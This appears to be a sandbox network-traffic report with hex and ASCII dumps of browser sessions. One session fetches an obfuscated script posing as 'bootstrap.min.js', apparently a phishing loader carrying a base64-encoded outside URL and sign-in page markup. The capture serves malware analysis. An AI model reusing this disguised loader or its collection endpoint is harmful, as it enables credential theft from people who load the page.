2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 Data Ascii: n,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUI
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 Data Ascii: handler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retu
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 2c 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d Data Ascii: ,_._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 Data Ascii: (t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQuery
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 Data Ascii: this._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibili
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 Data Ascii: g=function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTE
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 Data Ascii: lement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this
2024-11-20 14:43:15 UTC	1369	IN	Data Raw: 29 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 Data Ascii: )t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49763	170.106.97.195	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:43:16 UTC	671	OUT	GET /bootstrap.min.js HTTP/1.1 Host: 1381488073-1323985617.cos.na-siliconvalley.myqcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://abbcc.appforconstruction.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:43:17 UTC	429	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 553320 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Wed, 20 Nov 2024 14:43:17 GMT ETag: "8915f812186c80ef29a483ae6fe1f3f9" Last-Modified: Tue, 12 Nov 2024 09:11:05 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 9250768734006860679 x-cos-request-id: NjczZGY1ODVfMTM4YzUwMGJfMjdiNjlfMzMwZjJkYQ==
2024-11-20 14:43:17 UTC	7775	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 38 78 4d 7a 67 78 4e 44 67 34 4d 44 63 7a 4c 6d 4e 76 62 6e 4e 30 63 6e 56 6a 64 47 6c 76 62 6d 5a 6c 5a 47 56 79 59 57 77 75 59 32 39 74 4c 32 35 6c 65 48 51 75 63 47 68 77 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 35 35 61 32 61 34 3d 5f 30 78 32 63 31 33 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 62 31 39 28 29 7b 76 61 72 20 5f 30 78 34 39 36 36 65 31 3d 5b 27 78 2d 6c 67 2d 72 6f 77 5c 78 32 30 7b 27 2c 27 63 6f 6c 6f 72 3a 5c 78 32 30 74 72 61 27 2c 27 64 69 76 5c 78 32 30 69 64 3d 5c 78 32 32 6d 61 27 2c 27 2d 6c 67 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 27 2c 27 7e 2e 76 61 6c 69 64 2d 74 6f 27 2c 27 31 7c 34 7c 30 7c 32 7c 36 7c 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 31 2e 35 27 2c 27 Data Ascii: var file = "aHR0cHM6Ly8xMzgxNDg4MDczLmNvbnN0cnVjdGlvbmZlZGVyYWwuY29tL25leHQucGhw";var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5','
2024-11-20 14:43:17 UTC	8184	IN	Data Raw: 78 45 79 49 79 67 51 67 55 27 2c 27 68 5d 2c 5c 78 32 30 69 6e 70 75 74 5b 27 2c 27 2d 77 65 62 6b 69 74 2d 73 65 27 2c 27 5c 78 32 30 2e 35 29 5c 78 32 30 7d 5c 78 32 30 2e 63 75 27 2c 27 6f 70 6f 76 65 72 2d 61 75 74 27 2c 27 6c 69 6e 65 3a 5c 78 32 30 30 3b 5c 78 32 30 6f 27 2c 27 5c 78 32 30 31 33 3b 5c 78 32 30 6f 72 64 65 72 27 2c 27 75 74 74 6f 6e 5c 78 32 32 5c 78 32 30 63 6c 61 27 2c 27 69 67 68 74 3a 5c 78 32 30 31 30 37 70 27 2c 27 23 5c 78 32 30 73 6f 75 72 63 65 4d 61 27 2c 27 31 30 30 25 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 27 2c 27 3a 5c 78 32 30 72 69 67 68 74 3b 5c 78 32 30 6d 27 2c 27 7d 5c 78 32 30 2e 6c 69 73 74 2d 75 6e 27 2c 27 64 61 72 79 3a 68 6f 76 65 72 27 2c 27 63 6f 6e 74 72 6f 6c 2b 2e 63 27 2c 27 69 67 6e 2d 6d 69 64 64 6c 65 Data Ascii: xEyIygQgU','h],\x20input[','-webkit-se','\x20.5)\x20}\x20.cu','opover-aut','line:\x200;\x20o','\x2013;\x20order','utton\x22\x20cla','ight:\x20107p','#\x20sourceMa','100%\x20}\x20.or',':\x20right;\x20m','}\x20.list-un','dary:hover','control+.c','ign-middle
2024-11-20 14:43:17 UTC	8184	IN	Data Raw: 3a 6c 61 73 74 2d 63 68 27 2c 27 64 65 72 3a 5c 78 32 30 38 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 6c 69 64 5c 78 32 30 23 64 65 65 32 65 27 2c 27 61 63 65 2d 61 72 6f 75 6e 64 27 2c 27 75 73 2c 5c 78 32 30 61 2e 62 67 2d 77 27 2c 27 61 28 30 2c 5c 78 32 30 31 32 33 2c 5c 78 32 30 27 2c 27 53 79 6d 62 6f 6c 5c 78 32 32 3b 5c 78 32 30 2d 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 5c 78 32 30 21 69 27 2c 27 5c 78 32 37 2c 5c 78 32 37 53 65 67 6f 65 5c 78 32 30 55 27 2c 27 61 6c 65 72 74 2d 6c 69 67 68 27 2c 27 6e 64 65 78 3a 5c 78 32 30 31 3b 5c 78 32 30 74 27 2c 27 75 70 2d 69 74 65 6d 2d 70 72 27 2c 27 74 65 64 5c 78 32 30 2e 63 75 73 74 6f 27 2c 27 6e 65 5c 78 32 30 2e 69 6e 70 75 74 2d 27 2c 27 69 6e 6b 4d 61 63 53 79 73 74 27 2c 27 73 70 61 6e 3e 57 65 5c Data Ascii: :last-ch','der:\x208\x20}\x20.','lid\x20#dee2e','ace-around','us,\x20a.bg-w','a(0,\x20123,\x20','Symbol\x22;\x20-','on:\x20row\x20!i','\x27,\x27Segoe\x20U','alert-ligh','ndex:\x201;\x20t','up-item-pr','ted\x20.custo','ne\x20.input-','inkMacSyst','span>We\
2024-11-20 14:43:17 UTC	8184	IN	Data Raw: 32 32 69 6d 67 2d 66 6c 75 27 2c 27 50 4a 53 64 63 27 2c 27 64 69 6e 67 2d 74 6f 70 3a 5c 78 32 30 27 2c 27 64 2d 63 6c 69 70 3a 5c 78 32 30 62 6f 27 2c 27 32 35 35 2c 5c 78 32 30 2e 32 35 29 5c 78 32 30 27 2c 27 35 3b 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 74 65 6e 74 3a 5c 78 32 30 63 65 6e 74 27 2c 27 31 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 69 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 35 72 65 27 2c 27 4e 43 4c 4d 75 27 2c 27 69 76 3e 5c 78 32 30 3c 2f 66 6f 72 6d 27 2c 27 74 65 72 6c 69 6d 69 74 3d 5c 78 32 37 27 2c 27 6d 61 72 67 69 6e 3a 5c 78 32 30 2e 35 27 2c 27 74 2d 68 69 64 65 5c 78 32 30 7b 5c 78 32 30 66 27 2c 27 6e 6f 6e 65 3b 5c 78 32 30 2d 6d 6f 7a 27 2c 27 72 6f 70 6c 65 66 74 5c 78 32 30 2e 64 27 2c 27 6c 69 64 5c 78 32 30 Data Ascii: 22img-flu','PJSdc','ding-top:\x20','d-clip:\x20bo','255,\x20.25)\x20','5;\x20order:\x20','tent:\x20cent','10\x20{\x20margi','ttom:\x20.5re','NCLMu','iv>\x20</form','terlimit=\x27','margin:\x20.5','t-hide\x20{\x20f','none;\x20-moz','ropleft\x20.d','lid\x20
2024-11-20 14:43:17 UTC	8184	IN	Data Raw: 2c 27 31 31 3b 26 23 33 32 3b 26 23 27 2c 27 2d 6e 61 76 5c 78 32 30 2e 64 72 6f 70 27 2c 27 5c 78 32 30 31 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 64 65 27 2c 27 33 33 33 33 33 25 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 5b 68 72 65 66 5d 3a 68 6f 76 27 2c 27 2d 70 6f 70 6f 76 65 72 2d 74 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 2d 72 65 27 2c 27 2e 74 61 62 6c 65 5c 78 32 30 74 68 65 27 2c 27 43 63 65 62 59 27 2c 27 74 69 70 6c 65 5d 29 2c 5c 78 32 30 2e 27 2c 27 23 6c 6f 61 64 65 72 27 2c 27 43 6f 6c 6f 72 5c 78 32 30 45 6d 6f 6a 27 2c 27 6c 65 66 74 3a 5c 78 32 30 61 75 74 6f 27 2c 27 76 65 72 74 69 63 61 6c 3e 2e 27 2c 27 25 2c 5c 78 32 30 30 2c 5c 78 32 30 30 29 3b 5c 78 32 30 27 2c 27 28 5b 73 69 7a 65 5d 29 3a 6e 27 2c 27 73 2d 70 6f 70 6f 76 65 72 2d 27 Data Ascii: ,'11; &#','-nav\x20.drop','\x201\x20}\x20.orde','33333%\x20}\x20.','[href]:hov','-popover-t','on:\x20row-re','.table\x20the','CcebY','tiple]),\x20.','#loader','Color\x20Emoj','left:\x20auto','vertical>.','%,\x200,\x200);\x20','([size]):n','s-popover-'
2024-11-20 14:43:17 UTC	8184	IN	Data Raw: 63 6b 67 27 2c 27 5c 78 32 30 23 64 65 65 32 65 36 5c 78 32 30 21 27 2c 27 7d 5c 78 32 30 61 2e 74 65 78 74 2d 73 27 2c 27 6e 64 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 3a 5c 78 32 30 23 31 37 31 61 31 64 5c 78 32 30 27 2c 27 3d 5c 78 32 32 62 6f 78 5c 78 32 32 5c 78 32 30 69 64 3d 27 2c 27 69 63 61 6c 3e 2e 62 74 6e 3a 27 2c 27 2d 78 6c 2d 31 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 73 68 6f 77 3e 2e 6e 61 76 2d 27 2c 27 6c 28 5c 78 32 32 64 61 74 61 3a 69 6d 27 2c 27 73 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 72 3a 27 2c 27 2d 65 78 70 61 6e 64 2d 78 6c 27 2c 27 74 68 3a 5c 78 32 30 31 30 30 25 3b 5c 78 32 30 27 2c 27 65 6c 70 3b 5c 78 32 30 62 6f 72 64 65 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 63 6c 6f 73 65 3a 27 2c 27 3b 5c 78 32 30 74 65 Data Ascii: ckg','\x20#dee2e6\x20!','}\x20a.text-s','nd\x20{\x20-webk',':\x20#171a1d\x20','=\x22box\x22\x20id=','ical>.btn:','-xl-1\x20{\x20-w','show>.nav-','l(\x22data:im','s\x20{\x20color:','-expand-xl','th:\x20100%;\x20','elp;\x20borde','\x20}\x20.close:',';\x20te
2024-11-20 14:43:17 UTC	8184	IN	Data Raw: 2c 27 72 6f 75 70 5c 78 32 30 7b 5c 78 32 30 6d 61 72 27 2c 27 74 79 3a 5c 78 32 30 2e 39 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 67 69 6e 3a 5c 78 32 30 2e 35 72 65 6d 27 2c 27 6c 74 69 70 5c 78 32 30 7b 5c 78 32 30 70 6f 73 27 2c 27 6c 74 69 70 2c 5c 78 32 30 2e 77 61 73 27 2c 27 3d 63 68 65 63 6b 62 6f 78 5d 27 2c 27 7b 5c 78 32 30 6d 61 72 67 69 6e 2d 6c 27 2c 27 6e 61 34 65 4c 6a 35 4f 58 6d 27 2c 27 6b 69 64 61 4d 27 2c 27 74 69 70 5c 78 32 30 7b 5c 78 32 30 64 69 73 70 27 2c 27 2c 5c 78 32 30 36 33 70 78 29 5c 78 32 30 72 6f 27 2c 27 2e 37 35 72 65 6d 5c 78 32 30 31 2e 32 27 2c 27 7d 5c 78 32 30 5b 74 79 70 65 3d 62 75 27 2c 27 6f 72 73 5c 78 32 30 7b 5c 78 32 30 70 6f 73 69 27 2c 27 74 65 6e 74 3a 5c 78 32 30 73 70 61 63 27 2c 27 75 73 74 6f 6d 2d Data Ascii: ,'roup\x20{\x20mar','ty:\x20.9\x20}\x20.','gin:\x20.5rem','ltip\x20{\x20pos','ltip,\x20.was','=checkbox]','{\x20margin-l','na4eLj5OXm','kidaM','tip\x20{\x20disp',',\x2063px)\x20ro','.75rem\x201.2','}\x20[type=bu','ors\x20{\x20posi','tent:\x20spac','ustom-
2024-11-20 14:43:17 UTC	8184	IN	Data Raw: 6d 65 27 2c 27 6f 43 49 58 6c 27 2c 27 38 2e 33 33 33 33 33 33 25 3b 27 2c 27 69 6e 70 75 74 2e 69 73 2d 69 27 2c 27 5b 74 79 70 65 3d 6d 6f 6e 74 27 2c 27 74 2d 69 6e 6c 69 6e 65 2d 69 27 2c 27 61 73 5c 78 32 30 66 61 2d 61 72 72 6f 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 32 35 72 27 2c 27 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 31 31 27 2c 27 65 66 74 2d 72 61 64 69 75 73 27 2c 27 36 77 52 34 33 4e 36 6b 39 54 27 2c 27 2d 67 72 6f 75 70 2d 70 72 65 27 2c 27 6e 3a 5c 78 32 30 6e 6f 72 6d 61 6c 3b 27 2c 27 37 68 32 32 4d 34 5c 78 32 30 31 35 68 27 2c 27 55 41 41 41 41 42 41 41 41 41 27 2c 27 62 6f 78 2d 70 61 63 6b 3a 5c 78 32 30 27 2c 27 69 70 73 69 73 3b 5c 78 32 30 77 68 69 27 2c 27 6f 72 65 2c 5c 78 32 30 2e 62 73 2d 74 27 2c 27 74 68 3a 5c 78 32 30 Data Ascii: me','oCIXl','8.333333%;','input.is-i','[type=mont','t-inline-i','as\x20fa-arro','ttom:\x20.25r','\x20order:\x2011','eft-radius','6wR43N6k9T','-group-pre','n:\x20normal;','7h22M4\x2015h','UAAAABAAAA','box-pack:\x20','ipsis;\x20whi','ore,\x20.bs-t','th:\x20
2024-11-20 14:43:17 UTC	8184	IN	Data Raw: 31 37 61 32 62 38 5c 78 32 30 27 2c 27 66 69 33 69 6c 68 73 56 58 78 27 2c 27 5c 78 32 30 30 3b 5c 78 32 30 7a 2d 69 6e 64 65 27 2c 27 74 3b 5c 78 32 30 74 72 61 6e 73 69 74 27 2c 27 2d 64 69 61 6c 6f 67 5c 78 32 30 7b 5c 78 32 30 27 2c 27 74 69 76 65 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 27 2c 27 64 69 73 70 6c 61 79 3a 5c 78 32 30 66 27 2c 27 6e 67 3a 5c 78 32 30 2e 32 35 72 65 6d 27 2c 27 3a 66 6f 63 75 73 2c 5c 78 32 30 2e 73 27 2c 27 43 41 73 4d 43 77 6f 4d 43 51 27 2c 27 68 69 74 65 3b 5c 78 32 30 7d 5c 78 32 30 7d 5c 78 32 30 27 2c 27 6e 67 3a 5c 78 32 30 30 3b 5c 78 32 30 6f 76 65 27 2c 27 2e 61 72 72 6f 77 2c 5c 78 32 30 2e 62 27 2c 27 70 3a 5c 78 32 30 31 2e 35 72 65 6d 5c 78 32 30 27 2c 27 69 6f 6e 3a 5c 78 32 30 74 72 61 6e 73 27 2c 27 75 6e 64 Data Ascii: 17a2b8\x20','fi3ilhsVXx','\x200;\x20z-inde','t;\x20transit','-dialog\x20{\x20','tive\x20{\x20col','display:\x20f','ng:\x20.25rem',':focus,\x20.s','CAsMCwoMCQ','hite;\x20}\x20}\x20','ng:\x200;\x20ove','.arrow,\x20.b','p:\x201.5rem\x20','ion:\x20trans','und
2024-11-20 14:43:17 UTC	8184	IN	Data Raw: 6b 27 2c 27 70 3e 2e 69 6e 70 75 74 2d 67 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 30 3b 5c 78 32 30 27 2c 27 6d 3a 6c 61 73 74 2d 63 68 69 27 2c 27 66 69 72 73 74 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 2e 35 72 65 6d 3b 5c 78 32 30 70 61 64 27 2c 27 73 65 63 6f 6e 64 61 72 79 3a 27 2c 27 67 3a 6e 6f 74 28 3a 64 69 73 27 2c 27 75 69 64 5c 78 32 30 7b 5c 78 32 30 70 61 64 64 27 2c 27 6d 61 72 67 69 6e 2d 62 6f 74 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 64 72 6f 70 6c 65 27 2c 27 3b 5c 78 32 30 6d 61 72 67 69 6e 2d 74 27 2c 27 62 74 6e 3a 66 6f 63 75 73 2c 27 2c 27 65 66 74 3a 5c 78 32 30 37 35 25 5c 78 32 30 7d 27 2c 27 3d 5c 78 32 32 76 69 65 77 70 6f 72 74 27 2c 27 5c 78 32 30 73 69 67 6e 5c 78 32 30 69 6e 5c 78 32 30 72 27 2c 27 6e 2d 73 65 6c 66 3a 5c Data Ascii: k','p>.input-g','n-top:\x200;\x20','m:last-chi','first\x20{\x20-w','.5rem;\x20pad','secondary:','g:not(:dis','uid\x20{\x20padd','margin-bot','\x20}\x20.drople',';\x20margin-t','btn:focus,','eft:\x2075%\x20}','=\x22viewport','\x20sign\x20in\x20r','n-self:\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49764	104.17.25.14	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
